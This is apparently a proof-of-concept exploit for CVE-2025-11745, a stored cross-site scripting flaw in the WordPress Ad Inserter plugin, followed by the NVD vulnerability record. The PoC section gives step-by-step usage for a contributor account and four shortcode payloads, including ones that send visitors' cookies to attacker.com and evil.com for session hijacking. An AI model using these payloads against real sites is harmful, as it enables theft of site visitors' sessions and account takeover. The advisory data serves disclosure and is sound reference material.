CVE-2025-11745

<!-- WordPress Ad Inserter XSS PoC - CVE-2025-11745 --> <!-- Usage: 1. Login as Contributor or higher role 2. Edit/Create a post or page 3. Add custom field with name containing XSS payload 4. Save and view the page --> <!-- Method 1: Via Custom Field --> [adinserter name='test' data='"><script>alert('XSS by CVE-2025-11745')</script>'] <!-- Method 2: Alternative payload --> [adinserter name='"><img src=x onerror=alert(document.domain)>'] <!-- Method 3: Cookie stealing payload --> [adinserter name='test' data='"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- Method 4: Session hijacking --> [adinserter name='"><script>document.location='https://evil.com/log?cookie='+encodeURIComponent(document.cookie)</script>']

{"cve": {"id": "CVE-2025-11745", "sourceIdentifier": "[email protected]", "published": "2025-11-05T12:15:32.310", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ad Inserter – Ad Manager & AdSense Ads plugin for WordPress is vulnerable to Stored Cross-Site Scripting via custom field through the plugin's 'adinserter' shortcode in all versions up to, and including, 2.8.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ad-inserter/tags/2.8.7/ad-inserter.php#L9333", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ad-inserter/tags/2.8.7/ad-inserter.php#L9870", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8e7831c5-2262-42c9-9655-a43ef2dac54f?source=cve", "source": "[email protected]"}]}}